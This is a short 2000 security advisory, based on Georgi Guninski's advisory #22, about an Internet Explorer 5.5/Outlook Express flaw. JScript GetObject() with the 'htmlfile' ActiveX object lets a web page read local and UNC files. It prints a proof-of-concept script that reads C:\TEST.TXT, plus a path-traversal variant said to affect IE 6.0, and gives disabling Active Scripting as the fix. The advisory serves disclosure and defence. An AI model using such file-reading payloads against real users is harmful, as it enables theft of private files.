26th Sep 2000 [SBWID-1334]
COMMAND
IE/Outlook Express
SYSTEMS AFFECTED
IE 5.5/Outlook Express
Patched IE 6.0, somewhat patched 5.5 Win2K
PROBLEM
Following is based on a Georgi Guninski security advisory #22.
Internet Explorer 5.5/Outlook Express/(probably Outlook if Active
Scripting is enabled) under Windows 98/2000 (suppose all other
versions are also vulnerable) allow reading local and UNC files.
The problem is the GetObject() JScript function and the \"htmlfile\"
ActiveX object. A call a=GetObject(\"c:\\test.txt\",\"htmlfile\")
creates a HTML document object with full access to its DOM.
Examine the code for details. The code is:
------getobject1.html--------------------------------
<SCRIPT>
alert(\"This script reads C:\\TEST.TXTnYou may need to create it\");
a=GetObject(\"c:\\test.txt\",\"htmlfile\");
setTimeout(\"alert(a.body.innerText);\",2000);
</SCRIPT>
-----------------------------------------------------
Demonstration is available at:
http://www.guninski.com/getobject1.html
Just a quick note: if you have configured explorer so that it asks
you before executing ActiveX, it will prompt you before executing
the above script. Tested on IE5.0/Win2000.
Update
======
If you replace the function with
a=GetObject(\"http://\"+location.host+\"/../../../../../../test.txt\",\"htmlfile\");
latest version (IE6.0) is still vulnerable
SOLUTION
Disable Active Scripting.
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